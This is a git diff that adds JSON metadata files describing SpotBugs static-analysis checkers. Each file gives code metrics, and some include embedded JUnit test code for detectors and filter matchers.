100644 index 0000000..1be51c0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TrainLongInstantfParams.json @@ -0,0 +1,13 @@ +{ + "name": "TrainLongInstantfParams", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 129, + "branches": 10, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TrainNonNullAnnotations.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TrainNonNullAnnotations.json new file mode 100644 index 0000000..a2bf50e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TrainNonNullAnnotations.json @@ -0,0 +1,13 @@ +{ + "name": "TrainNonNullAnnotations", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 79, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TrainUnconditionalDerefParams.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TrainUnconditionalDerefParams.json new file mode 100644 index 0000000..7e2aaff --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TrainUnconditionalDerefParams.json @@ -0,0 +1,13 @@ +{ + "name": "TrainUnconditionalDerefParams", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 55, + "branches": 2, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TypeReturnNull.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TypeReturnNull.json new file mode 100644 index 0000000..232064d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/TypeReturnNull.json @@ -0,0 +1,13 @@ +{ + "name": "TypeReturnNull", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 91, + "branches": 10, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/URLProblems.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/URLProblems.json new file mode 100644 index 0000000..0f688d9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/URLProblems.json @@ -0,0 +1,13 @@ +{ + "name": "URLProblems", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 144, + "branches": 13, + "apis": 28, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UncallableMethodOfAnonymousClass.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UncallableMethodOfAnonymousClass.json new file mode 100644 index 0000000..7e6d641 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UncallableMethodOfAnonymousClass.json @@ -0,0 +1,13 @@ +{ + "name": "UncallableMethodOfAnonymousClass", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 309, + "branches": 51, + "apis": 70, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UnnecessaryEnvUsage.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UnnecessaryEnvUsage.json new file mode 100644 index 0000000..464ec89 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UnnecessaryEnvUsage.json @@ -0,0 +1,23 @@ +{ + "name": "UnnecessaryEnvUsage", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 100, + "branches": 9, + "apis": 34, + "test": [ + { + "description": "testingEnvUsages", + "expected-problems": null, + "expected-linenumbers": [ + 7, + 42 + ], + "code": "@Test\n void testingEnvUsages() {\n final String bugType = \"ENV_USE_PROPERTY_INSTEAD_OF_ENV\";\n final String className = \"UnnecessaryEnvUsage\";\n\n performAnalysis(\"UnnecessaryEnvUsage.class\");\n assertBugTypeCount(bugType, 23);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsage\", 5);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsage\", 6);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsage\", 7);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsage\", 8);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsage\", 9);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsage\", 10);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsage\", 11);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsage\", 12);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsage\", 13);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsage\", 14);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsage\", 15);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsage\", 16);\n\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsageFromMap\", 20);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsageFromMapWithVar\", 25);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsageFromMapWithVar\", 26);\n\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsageWithVar\", 31);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsageWithField\", 36);\n\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsageWithVarFromMap\", 41);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsageWithFieldFromMap\", 46);\n\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsageWithVarFromMapWithVar\", 53);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsageWithVarFromMapWithVar\", 54);\n\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsageWithFieldFromMapWithVar\", 61);\n assertBugInMethodAtLine(bugType, className, \"replaceableEnvUsageWithFieldFromMapWithVar\", 62);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UnnecessaryMath.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UnnecessaryMath.json new file mode 100644 index 0000000..3f64261 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UnnecessaryMath.json @@ -0,0 +1,13 @@ +{ + "name": "UnnecessaryMath", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 125, + "branches": 14, + "apis": 21, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UnreadFields.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UnreadFields.json new file mode 100644 index 0000000..64e31de --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UnreadFields.json @@ -0,0 +1,32 @@ +{ + "name": "UnreadFields", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1327, + "branches": 242, + "apis": 479, + "test": [ + { + "description": "bugInstanceShouldContainLineNumber", + "expected-problems": null, + "expected-linenumbers": [ + 29, + 37 + ], + "code": "@Test\n void bugInstanceShouldContainLineNumber(SpotBugsRunner spotbugs) {\n BugCollection bugCollection = spotbugs.performAnalysis(Paths.get(\"../spotbugsTestCases/build/classes/java/main/ghIssues/Issue1368.class\"));\n Optional reportedBug = bugCollection.getCollection().stream()\n .filter(bug -> \"UWF_NULL_FIELD\".equals(bug.getBugPattern().getType()))\n .findAny();\n assertTrue(reportedBug.isPresent());\n assertThat(reportedBug.get().getPrimarySourceLineAnnotation().getStartLine(), is(not(-1)));\n }" + }, + { + "description": "unreadFieldInReflectiveClass", + "expected-problems": null, + "expected-linenumbers": [ + 44, + 59 + ], + "code": "@Test\n void unreadFieldInReflectiveClass(SpotBugsRunner spotbugs) {\n BugCollection bugCollection = spotbugs.performAnalysis(Paths.get(\"../spotbugsTestCases/build/classes/java/main/ghIssues/Issue2325.class\"));\n\n Optional reportedBug = bugCollection.getCollection().stream()\n .filter(bug -> \"UUF_UNUSED_FIELD\".equals(bug.getBugPattern().getType())).findAny();\n assertTrue(reportedBug.isPresent(), \"Expected unused field bug, but got: \" + bugCollection.getCollection());\n assertEquals(Priorities.LOW_PRIORITY, reportedBug.get().getPriority(),\n \"Expected low priority unused field bug\");\n\n reportedBug = bugCollection.getCollection().stream()\n .filter(bug -> \"URF_UNREAD_FIELD\".equals(bug.getBugPattern().getType())).findAny();\n assertTrue(reportedBug.isPresent(), \"Expected unread field bug, but got: \" + bugCollection.getCollection());\n assertEquals(Priorities.LOW_PRIORITY, reportedBug.get().getPriority(),\n \"Expected low priority unread field bug\");\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UnreadFieldsData.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UnreadFieldsData.json new file mode 100644 index 0000000..798e2e9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UnreadFieldsData.json @@ -0,0 +1,13 @@ +{ + "name": "UnreadFieldsData", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 128, + "branches": 2, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UselessSubclassMethod.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UselessSubclassMethod.json new file mode 100644 index 0000000..fddceaf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UselessSubclassMethod.json @@ -0,0 +1,13 @@ +{ + "name": "UselessSubclassMethod", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 334, + "branches": 56, + "apis": 76, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UselessSuppressionDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UselessSuppressionDetector.json new file mode 100644 index 0000000..9810d6b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/UselessSuppressionDetector.json @@ -0,0 +1,13 @@ +{ + "name": "UselessSuppressionDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 56, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/VarArgsProblems.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/VarArgsProblems.json new file mode 100644 index 0000000..18699fb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/VarArgsProblems.json @@ -0,0 +1,13 @@ +{ + "name": "VarArgsProblems", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 161, + "branches": 22, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ViewCFG.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ViewCFG.json new file mode 100644 index 0000000..19d40b3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/ViewCFG.json @@ -0,0 +1,13 @@ +{ + "name": "ViewCFG", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 186, + "branches": 32, + "apis": 57, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/VolatileUsage.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/VolatileUsage.json new file mode 100644 index 0000000..a1e9c10 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/VolatileUsage.json @@ -0,0 +1,13 @@ +{ + "name": "VolatileUsage", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 165, + "branches": 22, + "apis": 24, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/WaitInLoop.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/WaitInLoop.json new file mode 100644 index 0000000..0cc21dc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/WaitInLoop.json @@ -0,0 +1,13 @@ +{ + "name": "WaitInLoop", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 119, + "branches": 9, + "apis": 19, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/WrongMapIterator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/WrongMapIterator.json new file mode 100644 index 0000000..e74b481 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/WrongMapIterator.json @@ -0,0 +1,13 @@ +{ + "name": "WrongMapIterator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 291, + "branches": 40, + "apis": 49, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/XMLFactoryBypass.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/XMLFactoryBypass.json new file mode 100644 index 0000000..86301d5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/detect/XMLFactoryBypass.json @@ -0,0 +1,13 @@ +{ + "name": "XMLFactoryBypass", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 123, + "branches": 15, + "apis": 27, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/AndMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/AndMatcher.json new file mode 100644 index 0000000..bd780a7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/AndMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "AndMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 7, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/AnnotationMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/AnnotationMatcher.json new file mode 100644 index 0000000..22cca05 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/AnnotationMatcher.json @@ -0,0 +1,77 @@ +{ + "name": "AnnotationMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 72, + "branches": 7, + "apis": 11, + "test": [ + { + "description": "writeXML", + "expected-problems": null, + "expected-linenumbers": [ + 71, + 81 + ], + "code": "@Test\n void writeXML() throws Exception {\n AnnotationMatcher sm = new AnnotationMatcher(annotationName);\n\n String xmlOutput = writeXMLAndGetStringOutput(sm, false);\n assertEquals(\"\", xmlOutput);\n\n sm = new AnnotationMatcher(annotationName);\n xmlOutput = writeXMLAndGetStringOutput(sm, true);\n assertEquals(\"\", xmlOutput);\n }" + }, + { + "description": "testMatchMissingPrimaryAnnotationIsFalse", + "expected-problems": null, + "expected-linenumbers": [ + 83, + 89 + ], + "code": "@Test\n void testMatchMissingPrimaryAnnotationIsFalse() throws Exception {\n Filter filter = readFilterFromXML();\n // no primary annotation; should not match\n BugInstance bug = new BugInstance(\"UUF_UNUSED_FIELD\", 0);\n assertFalse(filter.match(bug));\n }" + }, + { + "description": "testMatchMissingJavaAnnotationIsFalse", + "expected-problems": null, + "expected-linenumbers": [ + 91, + 99 + ], + "code": "@Test\n void testMatchMissingJavaAnnotationIsFalse() throws Exception {\n Filter filter = readFilterFromXML();\n // added primary class annotation; should not match b.c. missing java annotation\n BugInstance bug = new BugInstance(\"UUF_UNUSED_FIELD\", 0);\n ClassAnnotation buggyClass = new ClassAnnotation(\"BuggyClass\", \"BuggyClass.java\");\n bug.add(buggyClass);\n assertFalse(filter.match(bug));\n }" + }, + { + "description": "testMatchOtherJavaAnnotationIsFalse", + "expected-problems": null, + "expected-linenumbers": [ + 101, + 110 + ], + "code": "@Test\n void testMatchOtherJavaAnnotationIsFalse() throws Exception {\n Filter filter = readFilterFromXML();\n // added primary class annotation; should not match b.c. other java annotation\n BugInstance bug = new BugInstance(\"UUF_UNUSED_FIELD\", 0);\n ClassAnnotation buggyClass = new ClassAnnotation(\"BuggyClass\", \"BuggyClass.java\");\n buggyClass.setJavaAnnotationNames(Arrays.asList(\"org.immutables.value.Other\"));\n bug.add(buggyClass);\n assertFalse(filter.match(bug));\n }" + }, + { + "description": "testMatchJavaAnnotationIsTrue", + "expected-problems": null, + "expected-linenumbers": [ + 112, + 121 + ], + "code": "@Test\n void testMatchJavaAnnotationIsTrue() throws Exception {\n Filter filter = readFilterFromXML();\n // added primary class annotation; should match b.c. has java annotation\n BugInstance bug = new BugInstance(\"UUF_UNUSED_FIELD\", 0);\n ClassAnnotation buggyClass = new ClassAnnotation(\"AnnotatedBuggyClass\", \"AnnotatedBuggyClass.java\");\n buggyClass.setJavaAnnotationNames(Arrays.asList(annotationName));\n bug.add(buggyClass);\n assertTrue(filter.match(bug));\n }" + }, + { + "description": "testPerformAnalysis", + "expected-problems": null, + "expected-linenumbers": [ + 138, + 157 + ], + "code": "@Test\n void testPerformAnalysis(SpotBugsRunner spotbugs) {\n BugCollection bugCollection = spotbugs.performAnalysis(\n Paths.get(\"../spotbugsTestCases/build/classes/java/main/org/immutables/value/Generated.class\"),\n Paths.get(\"../spotbugsTestCases/build/classes/java/main/org/immutables/value/Value.class\"),\n Paths.get(\"../spotbugsTestCases/build/classes/java/main/org/immutables/value/Value$Immutable.class\"),\n Paths.get(\"../spotbugsTestCases/build/classes/java/main/ghIssues/issue543/FoobarValue.class\"),\n Paths.get(\"../spotbugsTestCases/build/classes/java/main/ghIssues/issue543/ImmutableFoobarValue.class\"),\n Paths.get(\n \"../spotbugsTestCases/build/classes/java/main/ghIssues/issue543/ImmutableFoobarValue$1.class\"),\n Paths.get(\n \"../spotbugsTestCases/build/classes/java/main/ghIssues/issue543/ImmutableFoobarValue$Builder.class\"));\n\n AnnotationMatcher bugInstanceMatcher = new AnnotationMatcher(annotationName);\n long numberOfMatchedBugs = bugCollection.getCollection().stream()\n .filter(bugInstanceMatcher::match)\n .count();\n\n assertEquals(4, numberOfMatchedBugs);\n }" + }, + { + "description": "testFilteringWithAnnotationOnClassMembers", + "expected-problems": null, + "expected-linenumbers": [ + 159, + 197 + ], + "code": "@Test\n void testFilteringWithAnnotationOnClassMembers(SpotBugsRunner spotbugs) {\n BugCollection bugCollection = spotbugs.performAnalysis(\n Paths.get(\"../spotbugsTestCases/build/classes/java/main/org/example/GeneratedCode.class\"),\n Paths.get(\"../spotbugsTestCases/build/classes/java/main/ghIssues/issue543/GeneratedOnClassMembers.class\"));\n\n BugInstanceMatcher[] bugsWithGeneratedAnnotation = {\n new BugInstanceMatcherBuilder()\n .bugType(\"URF_UNREAD_PUBLIC_OR_PROTECTED_FIELD\")\n .atField(\"a\")\n .atLine(9)\n .build(),\n new BugInstanceMatcherBuilder()\n .bugType(\"NP_TOSTRING_COULD_RETURN_NULL\")\n .inMethod(\"toString\")\n .atLine(15)\n .build(),\n new BugInstanceMatcherBuilder()\n .bugType(\"ES_COMPARING_PARAMETER_STRING_WITH_EQ\")\n .inMethod(\"test\")\n .atLine(27)\n .build(),\n };\n BugInstanceMatcher bugWithoutGeneratedAnnotation = new BugInstanceMatcherBuilder()\n .bugType(\"DMI_HARDCODED_ABSOLUTE_FILENAME\")\n .inMethod(\"test\")\n .atLine(20)\n .build();\n\n assertThat(bugCollection, hasItem(bugWithoutGeneratedAnnotation));\n assertThat(bugCollection, hasItems(bugsWithGeneratedAnnotation));\n AnnotationMatcher bugInstanceMatcher = new AnnotationMatcher(\"org.example.GeneratedCode\");\n List unmatchedBugs = bugCollection.getCollection().stream()\n .filter(b -> !bugInstanceMatcher.match(b))\n .collect(Collectors.toUnmodifiableList());\n\n assertThat(unmatchedBugs, hasItem(bugWithoutGeneratedAnnotation));\n assertThat(unmatchedBugs, not(hasItems(bugsWithGeneratedAnnotation)));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/BugMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/BugMatcher.json new file mode 100644 index 0000000..321488f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/BugMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "BugMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 122, + "branches": 8, + "apis": 27, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/ClassMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/ClassMatcher.json new file mode 100644 index 0000000..d7d911e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/ClassMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "ClassMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 80, + "branches": 6, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/CompoundMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/CompoundMatcher.json new file mode 100644 index 0000000..7ad2a2c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/CompoundMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "CompoundMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 100, + "branches": 8, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/ConfidenceMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/ConfidenceMatcher.json new file mode 100644 index 0000000..380224d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/ConfidenceMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "ConfidenceMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 4, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/FieldMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/FieldMatcher.json new file mode 100644 index 0000000..8a8a523 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/FieldMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "FieldMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 82, + "branches": 7, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/Filter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/Filter.json new file mode 100644 index 0000000..694cd6f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/Filter.json @@ -0,0 +1,13 @@ +{ + "name": "Filter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 299, + "branches": 20, + "apis": 57, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/FilterException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/FilterException.json new file mode 100644 index 0000000..59090eb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/FilterException.json @@ -0,0 +1,13 @@ +{ + "name": "FilterException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 32, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/FirstVersionMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/FirstVersionMatcher.json new file mode 100644 index 0000000..d993552 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/FirstVersionMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "FirstVersionMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 62, + "branches": 3, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/LastVersionMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/LastVersionMatcher.json new file mode 100644 index 0000000..e19364f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/LastVersionMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "LastVersionMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 70, + "branches": 5, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/LocalMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/LocalMatcher.json new file mode 100644 index 0000000..5d4b505 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/LocalMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "LocalMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 3, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/Matcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/Matcher.json new file mode 100644 index 0000000..b1b3d06 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/Matcher.json @@ -0,0 +1,13 @@ +{ + "name": "Matcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 44, + "branches": 5, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/MemberMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/MemberMatcher.json new file mode 100644 index 0000000..97a0808 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/MemberMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "MemberMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 97, + "branches": 8, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/MethodMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/MethodMatcher.json new file mode 100644 index 0000000..f65a959 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/MethodMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "MethodMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 99, + "branches": 9, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/NameMatch.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/NameMatch.json new file mode 100644 index 0000000..a5e104b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/filter/NameMatch.json @@ -0,0 +1,41 @@ +{ + "name": "NameMatch", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 120, + "branches": 14, + "apis": 12, + "test": [ + { + "description": "testExactMatch", + "expected-problems": null, + "expected-linenumbers": [ + 31, + 37 + ], + "code": "@Test\n void testExactMatch() {\n NameMatch match = new NameMatch(SignatureUtil.createMethodSignature(\"\", \"void\"));\n 